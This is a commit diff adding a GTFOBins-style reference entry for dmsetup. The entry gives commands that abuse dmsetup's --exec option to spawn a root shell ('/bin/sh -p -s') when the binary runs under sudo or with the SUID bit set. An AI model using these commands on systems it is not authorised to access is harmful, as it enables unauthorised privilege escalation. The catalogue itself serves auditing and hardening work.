Add dmsetup (#31)

* Add dmsetup

* fixes

_gtfobins/dmsetup.md

@@ -0,0 +1,15 @@
+---
+functions:
+  sudo:
+    - code: |
+        sudo dmsetup create base <<EOF
+        0 3534848 linear /dev/loop0 94208
+        EOF
+        sudo dmsetup ls --exec '/bin/sh -s'
+  suid:
+    - code: |
+        ./dmsetup create base <<EOF
+        0 3534848 linear /dev/loop0 94208
+        EOF
+        ./dmsetup ls --exec '/bin/sh -p -s'
+---